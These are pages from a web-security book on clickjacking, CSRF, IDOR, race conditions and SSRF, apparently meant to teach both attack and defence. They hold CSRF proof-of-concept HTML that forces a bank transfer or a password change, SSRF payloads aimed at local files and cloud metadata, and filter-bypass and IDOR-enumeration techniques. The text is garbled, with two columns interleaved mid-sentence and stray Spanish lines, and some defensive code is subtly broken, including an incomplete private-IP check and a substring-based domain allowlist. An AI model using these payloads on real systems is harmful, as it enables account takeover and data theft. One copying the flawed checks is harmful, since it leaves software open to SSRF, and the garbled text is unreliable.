Click here to win!</button>
</div> Example of Escalated Clickjacking Attack

2. Clickjacking Escalation: Beyond the Click An attacker could create a web page that looks like a har-
mless online game. However, this page would contain an invisible
• Credential Theft: Using clickjacking to trick users into iframe superimposed over a bank transfer form from a legitimate
entering their credentials into a fake form superimpo- website. By clicking on the game buttons, the user would unk-
sed over a legitimate login page. nowingly be transferring money from his or her bank account.
• Configuration Changes: Inducing users to change
their account settings (e.g., enabling remote access)
without their knowledge.
• Unwanted Posting: Tricking users into posting unwan-
ted content on their social networks or performing
actions on other platforms.
• Malware Installation: Hiding a malware download link
under a seemingly harmless button.
• Likejacking: Tricking users into clicking "Like" on
Facebook pages without their consent.
• Cursorjacking: Manipulate the mouse cursor so that
the user clicks in a different place than intended.

66 MILLIONAIRE RECORDS
web vulnerabilities 67
2 . 5 - CR O S S - S I T E R E- the request is made with the user's active session and the money
is transferred to the attacker's account.

QU ES T F O R G E R Y # 2. 5 Example 2: Password Change in a User AccountConsider

a website that allows users to change their password. An atta-
cker can create a hidden form that, when submitted, changes
Cross-Site Request Forgery (CSRF) is a type of web security the user's password to a password controlled by the attacker.
vulnerability that allows an attacker to induce users to perform
unwanted actions on a web application to which they are authen- --------------
ticated. It is a dangerous vulnerability because it exploits the <!DOCTYPE html>
trust that a website has in a user's browser. <html>
<body>
Understanding CSRF <h1>¡Click here to watch a funny video!</h1>
<form action="http://example-website.com/change_pas-
A CSRF attack occurs when an authenticated user in a web sword" method="POST" style="display:none;">
application is tricked into performing an unwanted action in that <input type="hidden" name="new_password"
application, without the user's consent. The attacker exploits the value="new_attacker_password">
user's active session and sends malicious requests on the user's <input type="hidden" name="confirm_password"
behalf, without the user's knowledge. value="new_attacker_password">
</form>
Real-life examples of CSRF <script>
document.forms[0].submit();
Let's explore some real-world examples to understand how </script>
CSRF works and the risks it can entail. </body>
</html>
Example 1: Transferring Money in an Online Banking System. --------------
Imagine an online banking system where users can transfer money
to other accounts. An attacker can create a malicious HTML form In this case, when the authenticated user loads the malicious
that, when uploaded by an authenticated user, sends a request to page, the hidden form is automatically submitted, changing the
transfer money from the user's account to the attacker's account. user's password to one that the attacker controls.

-------------- Risks and Consequences

<!DOCTYPE html>
<html> CSRF attacks can have several serious consequences:Unau-
<body> thorized Transfer of Funds: As seen in the online banking exam-
<h1>Click here to win a prize!</h1> ple, the attacker can transfer money from the user's account to
<img src="http://example-bank.com/transfer?amoun- his own account.
t=1000&to_account=attacker_account" style="display:none;"> Changing Critical Settings: The attacker can change impor-
</body> tant settings in the user's account, such as the password, email
</html> address, or security preferences.
-------------- Performing Malicious Actions: The attacker can perform
other unwanted actions on behalf of the user, such as posting
In this example, when the authenticated user loads the unwanted content on social networks or sending messages from
malicious page, the browser automatically sends a GET request the user's account.
to the wire transfer URL. Since the user is already authenticated,

68 MILLIONAIRE RECORDS
 CSRF Prevention

To prevent CSRF attacks, web developers should implement

the following measures:

1. Tokens CSRF: It uses unique and random tokens for each

request that modifies the state of the server. These tokens must
be included in the forms and verified on the server before pro-
cessing the request.

--------------
<form action="/change_password" method="POST">
<input type="hidden" name="csrf_token"
value="random_token">
<!-- Other form fields -->
</form>
--------------

2. Referer and Origin headers: Check the HTTP Referer

and Origin headers to ensure that the requests come from trus-
ted sources.

--------------
// PHP example
if ($_SERVER['HTTP_REFERER'] !== 'https://example-we-
bsite.com') {
die('Unauthorized request');
}

3. SameSite Cookies: Set session cookies with the SameSite

attribute to prevent them from being sent in cross-origin requests.

--------------
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure;
HttpOnly
--------------

CSRF is a critical vulnerability that can lead to serious conse-

quences if not handled properly. By understanding how it works
and learning from real-world examples, you can better protect
your web applications and your users. Implement CSRF tokens,
verify HTTP headers and configure session cookies correctly to
mitigate the risks associated with CSRF.

web vulnerabilities 69
 • Link-Based Attacks: Sending malicious links via email,
Advanced search instant messages or social networks, enticing the vic-
tim to click on them.
CSRF is a type of attack that tricks an authenticated user • Form-Based Attacks: Inserting hidden forms in web-
into performing unwanted actions on a web application to which sites that the victim visits frequently, taking advantage
they are logged in. This chapter delves into the techniques and of the browser's autocomplete function to send unau-
tools used to identify and exploit CSRF vulnerabilities, as well thorized requests.
as key defensive measures. • JavaScript-based attacks: Injecting malicious
JavaScript code into legitimate websites that the vic-
1. Understanding CSRF tim visits to send CSRF requests without their direct
interaction.
• How it works: An attacker sends a malicious link or
form to the victim, who, upon clicking or interacting Example: Create a hidden form on a popular website that,
with it, unknowingly sends a request to the vulnerable when loaded, sends a request to change the email address
web application. The application processes the request associated with the victim's account in another vulnerable
as if it came from the legitimate user, which can lead application.
to unauthorized changes to data or settings.
• Example: An attacker sends a link to the victim that 4. Defensive Measures against CSRF
looks harmless, but actually contains a hidden request
to transfer money from the victim's bank account to • Anti-CSRF tokens: Generate unique and unpredic-
the attacker. table tokens for each request and verify their validity
on the server side.
2. Identifying CSRF Vulnerabilities • Verification of the Request Origin (Origin Header):
Ensure that the requests come from the same origin
• Manual Analysis: Examine the source code and appli- (domain, port, protocol) as the web application.
cation behavior for requests that do not properly verify • SameSite Cookies: Set cookies with the SameSite attri-
the origin of the request or lack anti-CSRF tokens. bute to restrict their delivery to cross-origin requests.
• Automated Tools: • CSRF Protection in Web Frameworks: Many web fra-
1. Vulnerability Scanners: Burp Suite, OWASP ZAP: Can meworks offer built-in CSRF protection mechanisms.
automatically detect possible CSRF vulnerabilities in • Example: Implement an anti-CSRF token in a pas-
a web application. sword change form, so that each time the form is loa-
2. Browser Extensions: CSRF Tester, Tamper Data: Allow ded, a new token is generated and its validity is che-
to modify and resend requests to test for the pre- cked when the request is submitted.
sence of CSRF.
Additional Considerations
Example: Using Burp Suite to intercept and modify a legi-
timate application, removing or modifying the anti-CSRF • CSRF in APIs: RESTful APIs can also be vulnerable
token, to verify if the application is vulnerable. to CSRF if appropriate protection measures are not
implemented.
3. Exploiting CSRF Vulnerabilities • CSRF in Single Page Applications (SPA): SPAs may
require specific CSRF mitigation strategies due to their
• Creation of Malicious Payloads: Generate links, dynamic nature.
forms or JavaScript code that, when executed by the
victim, send the malicious request to the vulnerable
application.

70 MILLIONAIRE RECORDS
 • Example:
Bypass protection 1. An attacker can create a malicious link that, when
clicked, sends a GET request with malicious JSON data.
CSRF protection mechanisms are designed to prevent these • Solution:
attacks, but clever attackers often find ways to evade them. This 1. Do not accept JSON requests via GET.
chapter explores the techniques and strategies attackers use to 2. Use HTTP POST verbs for requests that modify
circumvent CSRF protections and how developers can streng- data.
then their defenses.
4. CSRF Flash Attacks
1. Weak or Predictable CSRF Tokens
• Issue: Adobe Flash had a vulnerability that allowed
• Problem: If CSRF tokens are easy to guess or predict, attackers to bypass CSRF protections by manipulating
attackers can spoof valid requests. Flash policy files (crossdomain.xml).
• Examples: • Solution:
1. Tokens based on simple patterns (e.g., numerical 1. Flash is no longer supported by most browsers,
sequences). which mitigates this issue.
2. Tokens that do not change frequently enough. 2. Ensure that Flash policy files are configured cor-
3. Tokens stored in insecure locations (e.g., cookies rectly to restrict cross-domain access.
without the HttpOnly attribute).
• Solution: 5. XSS Based Attacks
1. Generate cryptographically secure and random CSRF
tokens. • Problem: If a website is vulnerable to XSS, an atta-
2. Change tokens with each request or session. cker can inject a malicious script that makes CSRF
3. Store tokens on the server side (e.g., in the user's requests on behalf of the user.
session). • Solution:
1. Protecting against XSS is critical to prevent XSS-
2. Referer Header Spoofing based CSRF attacks.
2. Implement a content security policy (CSP) to restrict
• Problem: Some CSRF protection mechanisms rely on script execution.
the Referer header to verify the origin of the request.
Attackers can spoof this header. 6. Social Engineering
• Example:
1. An attacker can send a CSRF request from his own • Problem: Attackers can use social engineering
website and set the Referer header to match the des- techniques to trick users into clicking on malicious
tination website. links or performing actions that trigger CSRF attacks.
• Solution: • Solution:
1. Do not rely solely on the Referer header. 1. Educate users about CSRF risks and how to iden-
2. Combine the Referer header with other CSRF pro- tify suspicious links and emails.
tection mechanisms, such as tokens.
CSRF Protection Best Practices
3. JSON CSRF with HTTP GET Verbs
• Use cryptographically secure and random CSRF tokens.
• Problem: Some websites accept JSON requests via • Change tokens with each request or session.
the HTTP GET verb, which facilitates CSRF attacks, as • Store tokens on the server side.
attackers can include the JSON payload in the URL. • Do not rely solely on the Referer header.

web vulnerabilities 71
 • Do not accept JSON requests via GET. 4. Header-Based CSRF
• Protect against XSS.Educate users about CSRF risks.
• Objective: Evade CSRF protections that focus
on form parameters or request body. Technique:
Escaling the attack Attackers can inject malicious CSRF tokens into custom
HTTP headers, such as Referer or X-Requested-With.
Cross-Site Request Forgery (CSRF) attacks are a significant • Mitigation: Validate CSRF tokens in all possible loca-
threat to web applications, as they allow attackers to perform tions, including HTTP headers.
unauthorized actions on behalf of a legitimate user. This chapter
dives into advanced techniques that attackers can use to esca- 5. Supply Chain CSRF
late their CSRF attacks and cause greater impact.
• Objective: Attack web applications through CSRF
1. Flash CSRF vulnerabilities in libraries or third-party components
they use.
• Objective: Exploit Adobe Flash functionality to bypass • Technique: Attackers can inject malicious code into a
some traditional CSRF protections. third-party library or component that is then included
• Technique: Flash SWF files can make HTTP requests in the targeted web application.
without being subject to the same-origin policy, • Mitigation: Keep libraries and components up to date,
allowing attackers to send CSRF requests from dif- audit third-party code for CSRF vulnerabilities.
ferent domains.
• Mitigation: Disable Flash or restrict its access to spe- 6. CSRF Combined with Other Vulnerabilities
cific domains.
• Objective: Increase the impact of a CSRF attack by
2. JSON CSRF combining it with other vulnerabilities, such as XSS
or SQL injection.
• Objective: Exploit web applications that accept data • Technique: Attackers can use CSRF to inject mali-
in JSON format. cious code that exploits other vulnerabilities in the
• Technique: Attackers can create forms or scripts that application.
send POST requests with malicious JSON data to the • Mitigation: Implement a layered defense against
vulnerable application. multiple vulnerabilities, including CSRF, XSS and SQL
• Mitigation: Implement CSRF tokens in JSON requests injection.
and validate the content type of the requests.
Advanced CSRF Defenses
3. Partial Page CSRF
• Robust CSRF tokens: Use unpredictable and unique
• Objective: Attack web applications that use AJAX to CSRF tokens for each user and session.
load dynamic content. • Double Submit Cookies: Submit the CSRF token in
• Technique: Attackers can send CSRF requests that both a cookie and a form parameter.
target specific AJAX endpoints, which can result in • Strict Validation: Validate the origin of the request,
unauthorized page changes. the CSRF token and other relevant parameters.
• Mitigation: Protect AJAX endpoints with CSRF tokens • SameSite Cookies: Configure cookies with the
and validate requests. SameSite attribute to restrict their delivery in cros-
s-site requests.

72 MILLIONAIRE RECORDS
web vulnerabilities 73
2 . 6 - I D O R # 2. 6 Example 2: Downloading Sensitive Files

Consider an application that allows users to download their

Insecure Direct Object References (IDOR) is a security vul- documents using a URL such as the following:
nerability that occurs when a web application provides direct
access to objects based on user input without verifying proper --------------
permissions. This can allow an attacker to access data and resour- https://example.com/download?file=invoice123.pdf
ces that they should not have by simply modifying parameters --------------
in the URL or requests.
An attacker can modify the value of the file parameter to
Understanding IDOR download a document that does not belong to him:

IDOR occurs when an application uses direct object iden- --------------

tifiers in URLs or request parameters without properly verifying https://example.com/download?file=invoice124.pdf
whether the user has permissions to access those objects. This --------------
lack of access control can lead to exposure of sensitive data and If the application does not verify access permissions to the
manipulation of resources. invoice124.pdf file, the attacker can download sensitive docu-
ments from other users.
Real-life examples of IDOR
Risks and Consequences
Let's look at some real examples to understand how IDOR
works and the risks it may entail. IDOR attacks can have several serious consequences:

Example 1: Access to User Data 1. Sensitive Data Exposure: The attacker can access other
users' personal, financial or medical information.
Imagine an account management system where users can 2. Resource Manipulation: The attacker can modify or
view their profiles using a URL like the following: delete resources that do not belong to him, such as
logs, files or settings.
-------------- 3. Legal and Reputational Risk: Exposure of sensitive
https://example.com/profile?id=123 data can lead to legal consequences and damage the
-------------- company's reputation.

Where id=123 is the profile identifier of the authenticated

user. An attacker who is also a user of the system can change
the value of the id parameter to another identifier, for example:

--------------
https://example.com/profile?id=124
--------------

If the application does not verify that the authenticated user

has permissions to access the profile with id=124, the attacker
can view the profile data of another user.

74 MILLIONAIRE RECORDS
 IDOR prevention IDOR is a critical vulnerability that can lead to serious conse-
quences if not handled properly. By understanding how it works
To prevent IDOR attacks, web developers should imple- and learning from real-world examples, you can better protect
ment the following measures: your web applications and your users. Implement stringent access
controls, use indirect identifiers and ensure server-side validation
1. Rigorous Access Control: Ensure that all requests acces- and authorization to mitigate the risks associated with IDOR.
sing specific objects or data verify that the authenticated user
has the appropriate permissions.

--------------
// PHP Example
$user_id = $_SESSION['user_id'];
$requested_profile_id = $_GET['id'];
--------------

--------------
// Verify that the user has permissions to access the reques-
ted profile
if (!hasAccessToProfile($user_id, $requested_profile_id)) {
die('Unauthorized access');
}
--------------

2. Use of Indirect Identifiers: Instead of using direct identi-

fiers in URLs, use indirect identifiers that cannot be easily gues-
sed or manipulated by an attacker.

--------------
// Generate a unique identifier for each object
$unique_id = generateUniqueIdentifier($object_id);
--------------

3. Server Validation and Authorization: Implements vali-

dation and authorization controls on the server to ensure that
each request is legitimate and that the user has permissions to
perform the requested action.

--------------
// Validate and authorize the request on the server
if (!isValidRequest($request) || !isAuthorized($user, $action)) {
die('Invalid or unauthorized request');
}
--------------

web vulnerabilities 75
 3. Exploiting IDOR
Advanced search
Parameter manipulation
IDOR vulnerabilities are a type of authorization flaw that • Increment or decrement values: Change the value
allows attackers to access resources they should not have access of an ID parameter to try to access adjacent resources.
to. This occurs when a web application uses user input directly • Test predictable values: If the IDs are sequential
to access objects or data without performing proper authoriza- or follow a pattern, test nearby values to find other
tion checks. This chapter delves into the identification, exploi- resources.
tation and prevention of IDOR. • Utilizar herramientas de fuerza bruta: Automatizar
la prueba de diferentes valores de parámetros para
1. Understanding IDOR encontrar ID válidos.

• Definition: IDOR occurs when an application expo- Privilege escalation attacks:

ses a direct reference to an internal object (such as a • Change roles: If the application uses role IDs, try
file ID, user ID or password) in a URL, form or other to change the user's role ID to gain access to restric-
medium. If the application does not check whether the ted functions.
user has permission to access that object, an attacker • Change user ID: Attempt to change the user ID to
can manipulate the reference to access unauthorized impersonate another user and access their data.
resources.
Additional Tips
• Examples:
1. Vulnerable URL: https://example.com/profile?user_ • Pay attention to error messages: Error messages can
id=123 (an attacker could change user_id to view the reveal information about the internal structure of the
profile of another user). application and facilitate IDOR exploitation.
2. Vulnerable form: A form that allows users to down- • Do not rely on security by obscurity: Hiding IDs is not
load invoices, but does not verify if the user has per- an effective solution, as attackers can discover them
mission to view the requested invoice. by reverse engineering or guessing.

2. Identifying IDOR

Manual analysis:
• Check URLs: Look for parameters in URLs that may
be direct references to objects (e.g., id, user_id, file_id).
• Test variations: Attempt to modify parameter values
to see if other resources can be accessed.
• Analyze responses: Search for sensitive information
that is disclosed without authorization (e.g., user names,
email addresses, financial data).

Automated tools:
• Vulnerability scanners: Use web scanners to identify
common IDOR patterns (e.g., Burp Suite, OWASP ZAP).
• Interceptores de tráfico: Analizar el tráfico entre el
navegador y la aplicación web para buscar referencias
directas a objetos y posibles vulnerabilidades IDOR.

76 MILLIONAIRE RECORDS
 Race Condition Attacks:
Bypass protection • Description: Attackers exploit race conditions in the
application to access temporarily accessible resources.
• Example: Send multiple simultaneous requests to
Understanding IDOR perform an action before access controls are applied.

IDOR occurs when a web application exposes direct refe- Real World Examples of IDOR Attacks
rences to internal objects (such as files, database records or
user identifiers) without implementing adequate access con- • Facebook: In 2019, an IDOR vulnerability was dis-
trols. This allows attackers to manipulate these references covered that allowed attackers to access private pho-
to access sensitive data or perform unauthorized actions. tos of users.
• Shopify: In 2020, an IDOR vulnerability was disclo-
IDOR Protection Avoidance Techniques sed that allowed attackers to access order information
from other merchants.
Guessing or Predicting Identifiers • Instagram: In 2021, an IDOR vulnerability was found
• Description: Attackers attempt to guess or pre- that allowed attackers to view and download private
dict sequential identifiers or predictable patterns in photos and videos.
object references.
• Example: Changing the user ID in a URL to access
another user's data.

Parameter Manipulation:
• Description: Attackers modify the parameters of
an HTTP request to access restricted resources.
• Example: Changing the value of a hidden parame-
ter in a form to modify the behavior of the application.

Brute Force Attacks:

• Description: Attackers systematically try different
values for identifiers until they find a valid one.
• Example: Automate the testing of different order
numbers to find orders from other users.

Enumeration Attacks:
• Description: Attackers collect information about
the application structure and valid identifiers.
• Example: Analyze source code or application res-
ponses to identify patterns in identifiers.

Timing attacks:
• Description: Attackers measure application res-
ponse time to infer information about valid identifiers.
• Example: Observe differences in response time
when accessing valid and invalid resources.

web vulnerabilities 77
 Escalating the attack Automating the attack
IDORs can be exploited in various ways to escalate attacks: IDOR (Insecure Direct Object References) vulnerabilities can
be exploited manually, but automation allows attackers to
- Data enumeration: An attacker can iterate through a scale their efforts and discover a larger number of IDORs
range of identifiers to discover and access additional more efficiently. This chapter delves into techniques and
resources. tools to automate the detection and exploitation of these
- Sensitive data access: An attacker can access sensitive vulnerabilities.
information, such as personal, financial or authentica-
tion data. 1. Automated IDORs Recognition
- Unauthorized modification: An attacker can change
the state of resources, such as the status of an order - Objective: To identify patterns and structures in URLs
or a user's permissions. and parameters that suggest the presence of IDORs.
- Data deletion: An attacker can delete resources, such - Tools:
as files or database records. 1. Web Crawlers: Collect URLs and website parameters
for further analysis.
IDOR Mitigation 2. Traffic Analyzers: Examine HTTP requests and res-
ponses to identify numerical or sequential patterns in
- Authorization verification: Implement strict authori- parameters.
zation controls for each request that accesses or modi- 3. Custom Scripts: Develop scripts to look for specific
fies a resource. patterns in URLs or parameters.
- Use of indirect identifiers: Use indirect identifiers - Example: Use a web crawler to collect all the URLs of
(UUIDs, tokens) instead of direct references. a website, then analyze them for parameters containing
- Parameter validation: Validate all input parameters to incremental numeric identifiers (e.g., user_id=123).
ensure they are valid and expected.
- Principle of least privilege: Grant users only the per- 2. Parameter Fuzzing
missions necessary to perform their tasks.
- Objective: To systematically test different parameter
IDOR detection tools values to detect IDORs.
- Tools:
- Web vulnerability scanners: Burp Suite, OWASP ZAP 1. Fuzzers: They automatically send different values
- Manual testing: Careful analysis of application requests (numbers, sequences, etc.) to the identified parameters.
and responses. 2. Penetration testing frameworks: They include para-
meter fuzzing functionalities.
Examples of payloads for detecting IDOR - Example: Using a fuzzer to send different numeric
values to the user_id parameter in a URL and observe
GET /api/user/123/profile HTTP/1.1 if other users' information is accessed.
GET /api/user/124/profile HTTP/1.1
GET /api/user/1/profile HTTP/1.1 3. Response Analysis

By changing the user ID in the URL, you can try to access - Objective: Detect changes in server responses that
other users' profiles if the application is vulnerable to IDOR. indicate the existence of an IDOR..
- Tools:
1. Response comparators: Compare the responses

78 MILLIONAIRE RECORDS
obtained by modifying the parameter values.
2. Custom scripts: Analyze responses for sensitive infor
mation that should not be accessible.
3. Example: Compare the responses obtained when acces
sing /user/123 and /user/124 to verify if data from diffe
rent users is displayed.

4. Automated Exploitation

- Objective: Once an IDOR has been identified, auto-

mate exploitation to gain unauthorized access to data
or perform unauthorized actions.
- Tools:
1. Custom scripts: Develop scripts to iterate over dif-
ferent parameter values and perform specific actions
(e.g., download files, modify data).
2. Penetration testing frameworks: Some frameworks
allow automating the exploitation of IDORs.

Example: Develop a script that iterates over different values

of the order_id parameter to download invoices from other
users.

5. Monitoring and Alert

- Objective: Receive real-time notifications when an

IDOR is discovered.
- Tools:
1. Custom Scripts: Configure scripts to send alerts via
email, Slack, etc.
2. Security monitoring platforms: Integrate IDOR detec-
tion tools with monitoring platforms to receive cen-
tralized alerts.

Example: Configure a script to send an email alert whene-

ver a significant change in the server response is detected
when a parameter is modified.

Legal and Ethical Considerations

Automation of IDOR attacks must be performed respon-

sibly and ethically. It is crucial to obtain proper consent
before testing on third-party systems and to avoid causing
damage or disruption.

web vulnerabilities 79
2 . 7 - R AC E C O NDI TI O N Example 2: Ticket Reservations

#2.7 Consider a ticketing application for an event. Suppose

two users try to buy the last available ticket at the same time.
The system must check the availability of the ticket and then
Race Conditions are a type of vulnerability in applications reserve it for the user. If both users manage to reserve the
where the behavior of the system depends on the sequencing same ticket due to a race condition, the system could sell more
or synchronization of events that can run in parallel. This type of tickets than available, causing logistical and financial problems.
vulnerability occurs when multiple processes or threads access
and manipulate a shared resource simultaneously, without pro- Risks and Consequences
per coordination, which can lead to unpredictable and often
dangerous results. Race conditions can have serious consequences on
applications:
Understanding Career Conditions
- Data Inconsistencies: Data can be left in an inconsistent
Race conditions occur when two or more operations are or corrupted state, which can affect system integrity.
executed at the same time and compete for the same resource,
causing inconsistency in results. Lack of proper synchronization - Vulnerability Exploitation: Attackers can exploit
between these operations can lead to situations where actions race conditions to perform unauthorized actions,
overlap, resulting in unexpected or erroneous execution. such as money transfers or resource reservations.
Service Disruption: Race conditions can lead to sys-
Real Examples of Career Conditions tem failures, disrupting service and affecting users.

To better understand race conditions, let's look at some Preventing Race Conditions
real-world examples that illustrate how they can manifest them-
selves and what implications they can have.
To prevent race conditions, it is essential to implement proper
Example 1: Bank Transfers synchronization mechanisms. Here are some common techniques:

Imagine a banking system where a user can transfer money 1. Resource locking: Use locking mechanisms to ensure that
from his account to another. Consider the following scenario: only one process or thread can access a shared resource at a time.

- User A has $100 in his account ----------

- .User A initiates two transfers of $50 each to user B's import threading
account almost simultaneously.
# Crear un bloqueo
If the system does not handle the race conditions properly, both lock = threading.Lock()
transfers could read the initial balance of $100 at the same time,
and each would deduct $50, resulting in a final balance of $0 def transfer(account, amount):
in user A's account and $100 in user B's account, instead of the with lock:
correct balance of $50. # Operaciones seguras
account.balance -= amount
----------

80 MILLIONAIRE RECORDS
 - Atomic Transactions: Ensure that critical transactions Race conditions are critical vulnerabilities that can have
are performed atomically, i.e. as a single indivisible unit. serious implications for application integrity and security.
Understanding how they work and learning from real-world
---------- examples can help you better protect your systems and
BEGIN TRANSACTION; data. Implement proper synchronization mechanisms, use
UPDATE accounts SET balance = balance - 50 WHERE resource locks and ensure that critical operations are per-
account_id = 'A'; formed atomically to mitigate the risks associated with
UPDATE accounts SET balance = balance + 50 WHERE race conditions.
account_id = 'B';
COMMIT;
----------

- Double-Checked Locking: Double-check twice

before performing an operation to ensure that
the status has not changed between checks.

----------
public class Singleton {
private static volatile Singleton instance;

public static Singleton getInstance() {

if (instance == null) {
synchronized (Singleton.class) {
if (instance == null) {
instance = new Singleton();
}
}
}
return instance;
}
}
----------

4. Race Conditions in Web Applications: In the context of web

applications, techniques such as lock tokens and optimistic
concurrency control can be used to manage concurrent access.

web vulnerabilities 81
2 . 8 - SER V E R - S I DE R E- on a private network.

QU ES T F O R G E R Y # 2. 8 Example 2: Metadata Access in Cloud Services

In many cloud computing platforms, such as AWS, there are

metadata services accessible at a specific IP address that con-
Server-Side Request Forgery (SSRF) is a type of vulnerability tain sensitive information. An attacker can use SSRF to access
in web applications where an attacker can manipulate the server this metadata.
to make requests to arbitrary resources, both internal and exter-
nal. This vulnerability allows an attacker to interact with internal -----------
server services, access sensitive information and, in some cases, def fetch_metadata():
execute malicious commands. url = "http://169.254.169.254/latest/meta-data/"
response = requests.get(url)
Entendiendo SSRF return response.content

The SSRF vulnerability occurs when a web application takes # Ataque SSRF
user-controlled input and uses it to generate a request on the fetch_metadata()
server without proper validation. This allows an attacker to redi- -----------
rect the request to a destination of their choice, which can be
another server or an internal service. In this case, an attacker could obtain sensitive informa-
tion about cloud instances, such as temporary IAM cre-
Ejemplos Reales de SSRF dentials in AWS.

To better understand SSRF, let's look at some real-world Risks and Consequences
examples that show how this vulnerability can be exploited and
its possible implications. SSRF vulnerabilities can have serious consequences for the
security of an application:
Ejemplo 1: Escaneo de Redes Internas
• Unauthorized Access: Attackers can access inter-
Imagine a system that allows users to provide a URL to nal resources that are not intended to be exposed
preview the content of that page. If the application does not externally.
properly validate the URL provided, an attacker can supply an
internal URL and perform a scan of the server's internal network. • Data Exfiltration: Attackers can extract sensitive data,
such as internal service credentials and metadata from
----------- cloud instances.
def get_preview(url):
response = requests.get(url) • Sideways Movement: Attackers can use SSRF to scan
return response.content and attack other systems within the internal network.

# Ataque SSRF • Command Execution: In some cases, attackers can leve-

get_preview("http://192.168.1.1/admin") rage SSRF to execute commands on internal systems,
----------- further compromising the infrastructure.

In this example, an attacker could use the get_preview func-

tion to access internal services, such as an administration panel

82 MILLIONAIRE RECORDS
 Prevención de SSRF are on a whitelist of trusted domains.

To prevent SSRF, it is essential to implement security -----------

measures that limit the ability of attackers to manipu- ALLOWED_DOMAINS = ["trusted-domain.com"]
late server requests. Here are some common techniques:
def is_allowed_domain(url):
1. Input Validation and Sanitization: Always validate and parsed_url = urlparse(url)
sanitize the input provided by the user to ensure that only safe return any(domain in parsed_url.netloc for domain in
and expected URLs are allowed. ALLOWED_DOMAINS)

----------- def get_preview(url):

def is_valid_url(url): if is_allowed_domain(url):
parsed_url = urlparse(url) response = requests.get(url)
return parsed_url.scheme in ["http", "https"] and "truste- return response.content
d-domain.com" in parsed_url.netloc else:
raise ValueError("Dominio no permitido")
def get_preview(url): -----------
if is_valid_url(url):
response = requests.get(url) Server-Side Request Forgery (SSRF) is a critical vulnerability
return response.content that can severely compromise the security of an application and
else: its underlying infrastructure. By understanding how SSRF works
raise ValueError("URL no válida") and how attackers can exploit it, you can implement effective
----------- security measures to protect your systems. Remember to always
validate and sanitize user input, block unauthorized access to
2. Internal IP Address Blocking: Implements rules internal resources, and use additional techniques such as pro-
to block requests to internal and reserved IP addresses. xies and whitelisting to mitigate the risks associated with SSRF.

-----------
def is_internal_ip(ip_address):
return ip_address.startswith("192.168.") or ip_address.
startswith("10.") or ip_address.startswith("172.16.")

def get_preview(url):
parsed_url = urlparse(url)
ip_address = socket.gethostbyname(parsed_url.hostname)
if is_internal_ip(ip_address):
raise ValueError("Acceso no autorizado a IP interna")
response = requests.get(url)
return response.content
-----------

3. Use of Proxies: Use proxy servers that can filter and

control outgoing server requests.

4. Whitelisting Implementation: Allows only URLs that

web vulnerabilities 83
 panels, cloud instance metadata, internal API interfaces, etc.
Advanced Search - Port scanning: Scanning of internal ports to discover vul-
nerable services.
SSRF (Server Side Request Forgery Facility) vulnerabilities - Attacks on other servers: Use of the vulnerable server as
are a class of security flaws that allow an attacker to send a proxy to attack other systems.
arbitrary requests from the application server to internal or - Remote code execution (RCE): In some cases, SSRF can
external destinations. This chapter explores techniques and lead to RCE if the target server is vulnerable.
strategies to find and exploit these vulnerabilities, revealing
their potential impact and how to mitigate them. 5. SSRF mitigation

1. What is SSRF? - Inbound validation: Strictly validate target URLs, allowing

only specific domains and ports.
- Definition: An SSRF attack occurs when an attacker can - Whitelisting: Use a whitelist of allowed URLs.
control the URL to which a server sends a request. This - Disable unnecessary protocols: If the application only
can allow him to access restricted internal resources, per- needs HTTP(S), disable other protocols such as file://, dict://,
form actions on behalf of the server or even interact with gopher://, etc.
external systems. - Web Application Firewall (WAF): Configure the WAF to
block suspicious requests.
- Basic example: A web application that retrieves images
from a user-supplied URL. An attacker could enter a URL Examples of SSRF payloads
pointing to a sensitive internal resource, such as an adminis-
tration panel, and access it through the application's server. - http://localhost/admin
- http://127.0.0.1:8080
2. Type of SSRF - file:///etc/passwd
- dict://localhost:2625/info
- Basic: The attacker can directly control the destination
URL.
- Blind: The attacker does not see the server's response, but Final Considerations
can infer information based on the application's behavior.
- Partially blind: The attacker receives a partial or modified SSRF is a dangerous vulnerability that can have serious con-
response from the server. sequences. It is crucial that developers and system admi-
nistrators understand the risks and take steps to prevent
3. Techniques for finding SSRF and mitigate these attacks.

- Source code analysis: Search for functions that perform

HTTP requests, such as file_get_contents, curl or fsockopen.
- Traffic analysis: Examine HTTP requests sent by the appli-
cation for suspicious patterns.
- Fuzzing: Sending malicious inputs to the parameters that
control the target URLs to check if they are vulnerable.
- Tools: Burp Suite, ZAP, ffuf, etc.

4. SSRF Exploitation

- Access to internal resources: Access to administration

84 MILLIONAIRE RECORDS
 4. Disable URL resolution.

Bypass protection 1. Protection: Prevent the server from resolving domain

names to IP addresses.
Developers implement various protections to mitigate SSRF 2. Bypass:
risks, but crafty attackers are always looking for ways to - Directly use IP addresses: Instead of domain names.
bypass these defenses. This chapter explores common - Blind SSRF attacks: Send requests to internal servers and
techniques for bypassing SSRF protection and how defen- observe the indirect responses to infer information.
ders can strengthen their systems.
5. Filtering of special characters
1. Domain and URL whitelisting
1. Protection: Block special characters that can be used to
1. Protection: Restricts requests to a predefined set of inject malicious payloads. 2.
domains or URLs. 2. 2. Bypass:
2. Bypass: - Character encoding: Use URL, hexadecimal or Unicode
- Prefix/suffix technique: Adding characters before or after encoding to bypass filters.
the allowed domain. Example: http://localhost@dominio- - Use alternate characters: Replace blocked characters with
-permitido.com. similar characters that are not filtered.
- DNS Poisoning: Manipulation of DNS records to redirect
to a server controlled by the attacker. 6. WAF (Web Application Firewall)
- Open redirection attacks: Exploiting open redirection vul-
nerabilities in the website to access unpermitted resources. 1. Protection: Detect and block suspicious traffic patterns
that may indicate an SSRF attack.
2. Domain and URL blacklists 2. Bypass:
- Payload obfuscation: Use encryption and obfuscation
1. Protection: Blocks requests to specific domains or URLs techniques to avoid detection.
known to be malicious. - Timing attacks: Exploit differences in response times to
2. Bypass: bypass WAF rules.
- IP address obfuscation: Use IP addresses instead of domain
names, hexadecimal or decimal encoding. SSRF Protective Bypass Defenses
- DNS forwarding attacks: Dynamically change the IP
address associated with a domain name. - Strict input validation: Implement multi-layered input
- Use of URL shortening services: Hiding the real URL behind validation to ensure that URLs are valid and secure.
a shortening service. - Whitelist domains and URLs: Restrict requests to a limi
ted set of trusted resources.
Validating URL schemes - Disable URL resolution: Prevent the server from resolving
domain names to IP addresses.
